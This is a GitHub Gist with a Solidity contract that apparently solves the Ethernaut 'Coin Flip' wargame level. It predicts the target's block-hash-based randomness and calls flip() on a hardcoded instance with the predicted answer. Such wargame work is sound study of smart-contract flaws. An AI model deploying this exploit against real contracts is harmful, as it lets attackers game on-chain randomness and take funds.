Created
June 24, 2022 16:58
-
-
Save SilviaMargaritaOcegueda/89b8415d26f70a93a34ffbfd022724bb to your computer and use it in GitHub Desktop.
Level 3 - Coin Flip - Ethernaut
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol'; | |
// Create an interface to call the target | |
interface ICoinFlip { | |
function flip(bool _guess) external returns (bool); | |
} | |
contract FlipHack { | |
using SafeMath for uint256; | |
// uint256 public consecutiveWins; | |
// uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
function flipHack() public returns (bool) { | |
uint256 blockValue = uint256(blockhash(block.number.sub(1))); | |
// if (lastHash == blockValue) { | |
// revert(); | |
// } | |
// lastHash = blockValue; | |
uint256 coinFlip = blockValue.div(FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
// Change to your instance address | |
ICoinFlip(0x01776C78e902E631D891e0156c3fC6cB2F46C236).flip(side); | |
return side; | |
} | |
function getBN() public view returns (uint256) { | |
return block.number; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment